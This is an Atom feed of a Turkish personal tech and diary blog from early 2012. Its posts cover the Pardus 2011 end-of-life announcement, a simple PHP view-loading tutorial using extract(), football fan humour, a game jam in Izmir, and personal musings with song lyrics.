<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4577441684602513141</id><updated>2012-02-01T07:42:35.259-08:00</updated><category term='linux'/><category term='amk'/><category term='jquery'/><category term='günlük'/><category term='belgesel'/><category term='futbol'/><category term='müzik'/><category term='javascript'/><category term='python'/><category term='php'/><category term='ajax'/><category term='inci sözlük'/><category term='security'/><category term='internet'/><category term='hacking'/><category term='sql injection'/><title type='text'>Gökhan Kaya</title><subtitle type='html'>Talk is cheap. Show me the code. - Linus Torvalds</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>48</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-8289320518685546799</id><published>2012-02-01T07:33:00.000-08:00</published><updated>2012-02-01T07:35:01.004-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Pardus projesi - Çok yazıkkk</title><content type='html'>Selamlar,&lt;br /&gt;&lt;br /&gt;Pardus geliştiricilerinden, Semen Cirit'in geliştirici listesine gönderdiği yazıyı buruk bir şekilde paylaşıyorum. Çok kısa bir süre önce, pardus projesinde çalışan yazılımcıların bir çoğu işten ayrılmıştı. Tubitak yönetim kadrosundan kaynaklanıyor herşey. Eeee Tayyibin Bill Gates ile neden panpa olduğunu bir kez daha anladık. Emeğe, geleceğe, daha doğrusu herşeye çok yazık...&lt;br /&gt;&lt;br /&gt;Not: 2011 paketleri silinmiş. 2012 sürümü çıkmayacak..&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;"Merhaba,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;İlk kararlı sürümünü 21 Ocak 2011'de çıkaran, daha sonra 2011.1 ve 2011.2 ile yoluna devam eden 2011 sürümü ailesi sona eriyor. Bu tarihten sonra Pardus 2011 için herhangi bir yazılım güncellemesi yapılmayacak. Bu sürümü kullanan ve emeği geçen herkese çok teşekkürler,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;/&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;Hello,&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;Pardus 2011 family, that has made the first stable release on 21 January 2011, followed by 2011.1 and 2011.2 releases, has reached end of life. From now on, any future software updates won't be made for Pardus 2011. Many thanks to everyone who contributed to this version and use,"&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Listeye gönderilen sorular...&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;"Günaydın!&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;Proje Yönetimi/Camia Koordinatörü dikkatine&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;Bu sabah geliştirici listesine Pardus 2011 serisinin sona ermesi ile ilgili&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;Semen Cirit tarafından bir mesaj gönderildi.(1) Bu ani karar ile ilgili&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;sorularımız şunlarıdır.&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;1- Bu karar kimin tarafından verildi?&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;TÜBİTAK'ta olan genel değişim ve son dönemde yaşanılan büyük iş gücü kaybı sonrasında Pardus Yönetimi tarafından verildi.&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;2- Uyulmayan sürüm takviminde böyle bir tarih öngörülüyor muydu?&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;Genel olarak Pardus sürümlerine bakıldığında .2 sürümlerinde yaklaşık 6 ay sonra sec-only ve takip eden 1-2 ay içerisinde de eol gerçekleşiyor. Bu genellemeye bakıldığında .2 sürümü kasım ayı başında çıkmış durumda. Yukarıdaki iki ana nedenden dolayı 4 ay kadar önce öldürülmüş oldu.&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;3- Bu karar bireysel sürümlere artık son verildiğini mi gösteriyor?&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;Hayır, bunun ile ilgili olumlu veya olumsuz kesin bir sonuç yok maalesef elimizde.&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;4- Böyle bir kararı camiaya nasıl açıklamamızı bekliyorsunuz?&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;Geliştirici ve duyuru listelerinden açıkladık.&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;5- Biz bu kadar kamuoyu yaratma çabasındayken, böyle bir karar vererek&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;camiayı yüz üstü bırakmaya, nasıl razı geldiniz!&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;Bu yaşanılan durum yüz üstü bırakmak olarak görülmemeli, bu yaşanılanların doğal bir sonucu, son 3-4 aydır commit listelerinden zaten 2011'in ölmek üzere olduğu neredeyse aşikar, sadece duyuru ile bunu resmileştirdik.&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #666666;"&gt;Anlayışınız için teşekkürler,"&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://lists.pardus.org.tr/gelistirici/2012-January/057195.html"&gt;http://lists.pardus.org.tr/gelistirici/2012-January/057195.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-8289320518685546799?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/8289320518685546799/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/02/pardus-projesi-cok-yazkkk.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8289320518685546799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8289320518685546799'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/02/pardus-projesi-cok-yazkkk.html' title='Pardus projesi - Çok yazıkkk'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-891031145371489347</id><published>2012-01-31T14:29:00.000-08:00</published><updated>2012-01-31T14:33:40.433-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php ile Html kodlarını ayırma - Tema Motoru</title><content type='html'>Selam herkese..&lt;br /&gt;&lt;br /&gt;Uzun bir aradan sonra hoşunuza gidecek bir makale ile karşınızdayım.&amp;nbsp;Bu makalemde php'de ki&amp;nbsp;&lt;a href="http://artiktek.blogspot.com/2011/12/php-extract-fonksiyonu-nedir-ne-ise.html"&gt;extract&lt;/a&gt;&amp;nbsp;fonksiyonunu kullanarak Codeigniter'daki tema motorunun nasıl çalıştığını ufak bir fonksiyon ile öğretmeye çalışacağım.&lt;br /&gt;&lt;br /&gt;PHP kodluyorsunuz tamam, fakat bir framework kullanmıyorsanız bu işi profesyonel yapmıyorsunuz demektir. Spagetti kod yazıp kirletmeyin şu interneti. Bir php dosyasına; hem php, hem de html kodları yazmayın. 2012'de mvc kodlama yapmayan kişiye programcı demedikleri gibi birde kız vermiyorlarmış duyduğum kadarıyla. Ha illa hazır framework'ler kullanında demiyoruz. En azından kendi yapınızı oluşturun ve tüm kodlama standartlarınızı bu yapı üzerinde geliştirin. Bundan bir kaç sene önce, internette baya bir araştırma yapmıştım tema motorları hakkında. Kendime tema motoru yazıcam diye baya kastım felan. Bi süre smarty kullandım. Smarty bana göre çok abartı birşey. Kullanmaya gerçekten hiç gerek yok, gerçi cache sistemi için kullanıyorsanız bilemem ama aşağıda yazmış olduğum örnek bu tarz tema sınıflarına göre daha basit. Amaç php ile html kodlarının ayrılması ise, yani daha düzenli kod yazmak için bilmem kaç mb'lık class dosyalarına hiç gerek yok. PHP ile haşır neşir olan herkes haklısın diyodur. PHP ile HTML kodlarının birbirinden ayrılmasının basit bir yolu var. Yukarıda da bahsettiğim gibi tek sihrimiz extact fonksiyonu. Bunuda codeigniter'ın ilk sürümlerinde ki core dosyasını kurcalayarak öğrendim. Gerçekten süper bir framework yazmış adamlar. İşyerinde Codeigniter kullanıyoruz zaten. Fakat hobi olsun diye evimde kendi kendime ufak bir framework yazmaktayım.&amp;nbsp;Bu şekilde daha çabuk ve daha kolay öğreniyorum back-end yapıyı. Herneyse.. MVC'de olmazsa olmaz bir kuraldır controller ile view dosyalarının ayrı tutulması. (İleride MVC hakkında detaylı bir yazı yazacağım.)&lt;br /&gt;&lt;br /&gt;***&lt;br /&gt;&lt;br /&gt;Temanın çağrılıp ilgili değişkenlerin atanacağı loadPage fonksiyonumuzun tutulduğu dosya. Biraz daha ileri seviyede işlem yapmanız için, fonksiyona 3. bir parametre ekleyebilir ve bu parametrenin true yada false olma durumuna göre header.php ve footer.php dosyalarını otomatik olarak yükletebilirsiniz. Bu anlattığım fonksiyonda, sadece düz php sayfası yüklüyoruz. Geliştirmesi size kalmış.&lt;br /&gt;&lt;b&gt;~ function.php source&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/*&lt;br /&gt; * coded by Gökhan Kaya&lt;br /&gt; * artiktek@hotmail.com&lt;br /&gt; * artiktek.blogspot.com&lt;br /&gt; */&lt;br /&gt;function loadPage($file, $data=array()){&lt;br /&gt; &lt;br /&gt; // view dosyasına bak&lt;br /&gt; $fileName = "html/$file.php";&lt;br /&gt; &lt;br /&gt; if (!file_exists($fileName)){&lt;br /&gt;  die("Error: $fileName not found");&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; // controller dosyamızda tanımlanan değişkenleri htmlde göster&lt;br /&gt; if (is_array($data)){&lt;br /&gt;  extract($data);&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; // view dosyasını getir&lt;br /&gt; require_once($fileName);&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;Tüm programlama işlemlerinin gerçekleştiği controller dosyası. PHP ile ilgili tüm işlemlerinizi burada yapıp ilgili kod bloğunun sonuna loadPage() fonksiyonunu çalıştırarak view dosyasını yükleyebilirsiniz.&lt;br /&gt;&lt;b&gt;~ index.php source&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/*&lt;br /&gt; * coded by Gökhan Kaya&lt;br /&gt; * artiktek@hotmail.com&lt;br /&gt; * artiktek.blogspot.com&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;// fonksiyon dosyamızı çağıralım.&lt;br /&gt;require_once 'function.php';&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// view dosyasında basılacak veriler&lt;br /&gt;$data['site_adi'] = 'http://artiktek.blogspot.com';&lt;br /&gt;$data['dizi_ornegi'] = array(&lt;br /&gt; 'isim' =&amp;gt; 'Gokhan',&lt;br /&gt; 'soyisim' =&amp;gt; 'Kaya'&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;// view sayfasını yüklüyoruz ve data dizisini viewda gösterilmesi için fonksiyona ekliyoruz.&lt;br /&gt;loadPage('index', $data);&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;Ve view dosyası. Html içeriklerin olduğu sayfa. PHP'nin kısa taglarını kullanarak sadece if foreach ve echo işlemlerini kullanarak hızlı bir şekilde controller dosyasından gelen değişkenleri istediğiniz yerde yazdırabilirsiniz.&lt;br /&gt;~ &lt;b&gt;html/index.php source&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush:html"&gt;&amp;lt;!-- artiktek.blogspot.com --&amp;gt;&lt;br /&gt;&amp;lt;h1&amp;gt;View ornegi&amp;lt;/h1&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div&amp;gt;Site adi: &amp;lt;?=$site_adi?&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;?php foreach($dizi_ornegi as $key=&amp;gt;$value):?&amp;gt;&lt;br /&gt;&amp;lt;div&amp;gt;&amp;lt;?=$key?&amp;gt; : &amp;lt;?=$value?&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;?php endforeach;?&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/pre&gt;&lt;br /&gt;Görüldüğü üzere kodları birbirinden ayırdık.&lt;br /&gt;&lt;br /&gt;Saygılar.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-891031145371489347?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/891031145371489347/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/php-ile-html-kodlarn-ayrma-tema-motoru.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/891031145371489347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/891031145371489347'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/php-ile-html-kodlarn-ayrma-tema-motoru.html' title='Php ile Html kodlarını ayırma - Tema Motoru'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-4375142943608011439</id><published>2012-01-31T02:59:00.000-08:00</published><updated>2012-01-31T02:59:09.395-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Uzay sorusu</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: left;"&gt;Friendfeed'de karşılaştığım bir resim. Bu soruyu hazırlayan adamın kullandığı maddeden bende istiyorummmm.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-sUdKmswrvkQ/TyfI_VttLOI/AAAAAAAAAO4/Du_RdcdaIb4/s1600/387843_277147749000037_215784071803072_705294_1428651966_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="311" src="http://4.bp.blogspot.com/-sUdKmswrvkQ/TyfI_VttLOI/AAAAAAAAAO4/Du_RdcdaIb4/s400/387843_277147749000037_215784071803072_705294_1428651966_n.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-4375142943608011439?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/4375142943608011439/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/uzay-sorusu.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/4375142943608011439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/4375142943608011439'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/uzay-sorusu.html' title='Uzay sorusu'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-sUdKmswrvkQ/TyfI_VttLOI/AAAAAAAAAO4/Du_RdcdaIb4/s72-c/387843_277147749000037_215784071803072_705294_1428651966_n.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-7146450107533209266</id><published>2012-01-30T13:50:00.000-08:00</published><updated>2012-01-30T13:50:42.457-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='müzik'/><category scheme='http://www.blogger.com/atom/ns#' term='amk'/><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Kargaşa</title><content type='html'>Blog tutmak zordur. Neler yazıcam dersiniz. Yada neler paylaşacağım, takipçilerime neler öğreteceğim vs... Benim blogu açma nedenim hem birşeyler öğretmek, hemde böyle saçma sapan yazılarımı paylaşmak. Saçma sapan diyorum çünkü içinde bi ton kendime göre kriptoların olduğu cümleler var. O yüzden okuyupta piskolojinizi bozmayın. Ha okuyun ama piskolojiniz bozulursa okumayın. Yada ne bilim işte takılın kafanıza göre. Yine saçmaladık aq. En sevdiğim şey böyle saçma sapan yazılarımı hiç silmeden yazıyor olmam. Cidden!!! öyle bir kafa halinde yazıyorum ki anlatamam. (bize her zaman kafa güzelllll). Tekrar böyle vay ak neler yazmışım ben diye bakma gereği bile duymuyorum.&lt;br /&gt;&lt;br /&gt;Herneyse panpişler, haftaya çok hızlı giriş yaptım(kkk???!!!). Herşey çok hızlı girdi ki, neden sonuç ilişkisini irdelemeye bile fırsat bulamadım. Aslında genel tema göz önünde. O kadar sırıtıyor ki, temanın içerisinde olan varlıklar durumdan farksız. Belki dışarıdan böyle iyilik meleklerinin yardım etmesi gerekiyor bazı şeyler için fakat bu vakit geç oldu. Belkide uyku vakti geldi, biraz yatıp dinlenmesi gerekebilir insanın. Bir yığın uğraşın arasında, yeni uğraşlar falan filan, iyilikle alakasıda yok.&amp;nbsp;Herşey çok kargaşa..&lt;br /&gt;&lt;br /&gt;Günün anlam ve önemini belirten müzik aşağıda. Bol bol dinleyin. Vast reyiz. Benden size gelsin.&lt;br /&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/8S_R13jV11Q" width="530"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;touched, you say that i am too&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;so much, of what you say is true&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;i'll never find some quite like you again&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;i'll never find some quite like you, like you&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;the razors and the dying roses&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;plead i don't leave you alone&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;the demi-gods and hungry ghosts&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;oh god, god knows i'm not at home&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;i'll never find someone quite like you again&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;i'll never find someone quite like you again&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;i, i looked into your eyes and saw&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;a world that does not exist&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;i looked into your eyes and saw&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;a world i wish i was in&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;i'll never find some quite as touched as you&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;i'll never love some quite the way&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #999999;"&gt;that I loved yo .&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-7146450107533209266?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/7146450107533209266/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/kargasa.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7146450107533209266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7146450107533209266'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/kargasa.html' title='Kargaşa'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/8S_R13jV11Q/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-3563518331074129248</id><published>2012-01-30T01:55:00.000-08:00</published><updated>2012-01-30T01:56:08.977-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='futbol'/><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Yaratıcı Karşıyaka Taraftarı</title><content type='html'>&lt;a href="http://2.bp.blogspot.com/-wKUdHUHNlQA/TyZpEq-_JaI/AAAAAAAAAOo/w_IIYZiAv1Y/s1600/27jkc.jpg" imageanchor="1" style="clear: right; display: inline !important; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-wKUdHUHNlQA/TyZpEq-_JaI/AAAAAAAAAOo/w_IIYZiAv1Y/s200/27jkc.jpg" width="145" /&gt;&lt;/a&gt;Hastalığım nedeniyle izleyemediğim maç. Çarşıda baya bir hareketlilik vardı :)&lt;br /&gt;&lt;br /&gt;Bank Asya 1. Lig'de tarihin en önemli derbilerinden birisi olan Karşıyaka-Göztepe maçından önce çok çok ilginç bir olay yaşandı.&lt;br /&gt;&lt;br /&gt;Karşıyaka taraftarları hazırladıkları barkodu tribünde pankart halinde açtı. Kimse ilk başta bu olaya bir anlam veremezken ardından barkodu telefonlarındaki QR Code uygulamasıyla taratan taraftarlar, Göztepe'ye edilen bir küfürle karşılaştı (O.. Göztepe).&lt;br /&gt;&lt;br /&gt;Bugüne kadar her şeyi görmüş; yaşamış olan dünya futbol literatürü; sonunda böyle bir olayla da karşılaşmış oldu.&lt;br /&gt;&lt;br /&gt;Kaynak:&amp;nbsp;&lt;a href="http://www.sporx.com/futbol/bankasya/bu-pankart-yok-artik-dedirttiSXHBQ266168SXQ"&gt;http://www.sporx.com/futbol/bankasya/bu-pankart-yok-artik-dedirttiSXHBQ266168SXQ&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-3563518331074129248?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/3563518331074129248/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/yaratc-karsyaka-taraftar.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3563518331074129248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3563518331074129248'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/yaratc-karsyaka-taraftar.html' title='Yaratıcı Karşıyaka Taraftarı'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-wKUdHUHNlQA/TyZpEq-_JaI/AAAAAAAAAOo/w_IIYZiAv1Y/s72-c/27jkc.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-5913122943733109799</id><published>2012-01-29T23:19:00.000-08:00</published><updated>2012-01-30T01:41:34.915-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Global Game Jam 2012 - İzmir</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-l496cQEBDwA/TyZEACffqFI/AAAAAAAAAOg/NSXLt15uLOI/s1600/710491_detay.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-l496cQEBDwA/TyZEACffqFI/AAAAAAAAAOg/NSXLt15uLOI/s200/710491_detay.jpg" width="194" /&gt;&lt;/a&gt;&lt;/div&gt;Dünya genelinde bilgisayar oyunu geliştirme yarışmasının İzmir ayağı dün sona ermiş. 62 kişiden oluşan 13 grubun 48 saatlik kod maratonuna İzmir Ekonomi Üniversitesi ev sahipliği yaptı.&lt;br /&gt;&lt;br /&gt;Juri arasında Tamindir'in kurucusu Caner abide vardı. Yarışmanın eğlenceli geçtiğini kesin. Büyük bir hayalimdi aslında oyun geliştirmek. Ama her baba yiğidin harcı değil.&lt;br /&gt;&lt;br /&gt;Güzel İzmir'imizde bu tarz etkinliklerin düzenlenmesi güzel. Severek takip ediyoruz :)&lt;div 